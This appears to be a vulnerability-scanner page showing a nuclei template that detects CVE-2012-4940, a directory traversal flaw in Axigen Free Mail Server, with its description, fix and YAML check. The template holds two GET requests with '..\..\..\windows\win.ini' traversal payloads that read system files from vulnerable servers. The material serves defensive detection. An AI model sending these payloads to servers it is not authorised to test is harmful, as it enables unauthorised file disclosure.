CVE-2012-4940· gecad / axigen free mail server· CWE-22
Axigen Mail Server Filename Directory Traversal
Multiple directory traversal vulnerabilities in the View Log Files component in Axigen Free Mail Server allow remote attackers to read or delete arbitrary files via a .. (dot dot) in the fileName parameter in a download action to source/loggin/page_log_dwn_file.hsp, or the fileName parameter in an edit or delete action to the default URI.
Impact
An attacker can read sensitive files, potentially leading to unauthorized access, data leakage, or further compromise of the server.
Fix
Apply the latest security patches or updates provided by the vendor to fix the directory traversal vulnerability in Axigen Mail Server.
How to confirm it
Send: GET {{BaseURL}}/?h=44ea8a6603cbf54e245f37b4ddaf8f36&page=vlf&action=edit&fileName=..\..\..\windows\win.ini ; GET {{BaseURL}}/source/loggin/page_log_dwn_file.hsp?h=44ea8a6603cbf54e245f37b4ddaf8f36&action=download&fileName=..\..\..\windows\win.ini
Positive when: contains "bit app support" and "fonts" and "extensions"Run it with nuclei: nuclei -id CVE-2012-4940 -u <target>. This check is not marked as verified by its authors.
The full check
id: CVE-2012-4940
info:
name: Axigen Mail Server Filename Directory Traversal
author: dhiyaneshDk
severity: medium
description: Multiple directory traversal vulnerabilities in the View Log Files component in Axigen Free Mail Server allow remote attackers to read or delete arbitrary files via a .. (dot dot) in the fileName parameter in a download action to source/loggin/page_log_dwn_file.hsp, or the fileName parameter in an edit or delete action to the default URI.
impact: |
An attacker can read sensitive files, potentially leading to unauthorized access, data leakage, or further compromise of the server.
remediation: |
Apply the latest security patches or updates provided by the vendor to fix the directory traversal vulnerability in Axigen Mail Server.
reference:
- https://www.exploit-db.com/exploits/37996
- https://nvd.nist.gov/vuln/detail/CVE-2012-4940
- http://www.kb.cert.org/vuls/id/586556
- https://github.com/ARPSyndicate/kenzer-templates
classification:
cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:P/A:N
cvss-score: 6.4
cve-id: CVE-2012-4940
cwe-id: CWE-22
epss-score: 0.85359
epss-percentile: 0.99719
cpe: cpe:2.3:a:gecad:axigen_free_mail_server:-:*:*:*:*:*:*:*
metadata:
max-request: 2
vendor: gecad
product: axigen_free_mail_server
tags: cve,cve2012,edb,axigen,lfi,mail,gecad,vkev,vuln
http:
- method: GET
path:
- '{{BaseURL}}/?h=44ea8a6603cbf54e245f37b4ddaf8f36&page=vlf&action=edit&fileName=..\..\..\windows\win.ini'
- '{{BaseURL}}/source/loggin/page_log_dwn_file.hsp?h=44ea8a6603cbf54e245f37b4ddaf8f36&action=download&fileName=..\..\..\windows\win.ini'
stop-at-first-match: true
matchers:
- type: word
part: body
words:
- "bit app support"
- "fonts"
- "extensions"
condition: andReferences
- https://www.exploit-db.com/exploits/37996
- https://nvd.nist.gov/vuln/detail/CVE-2012-4940
- http://www.kb.cert.org/vuls/id/586556
- https://github.com/ARPSyndicate/kenzer-templates
Use this check only on systems you are authorised to test. Where the data comes from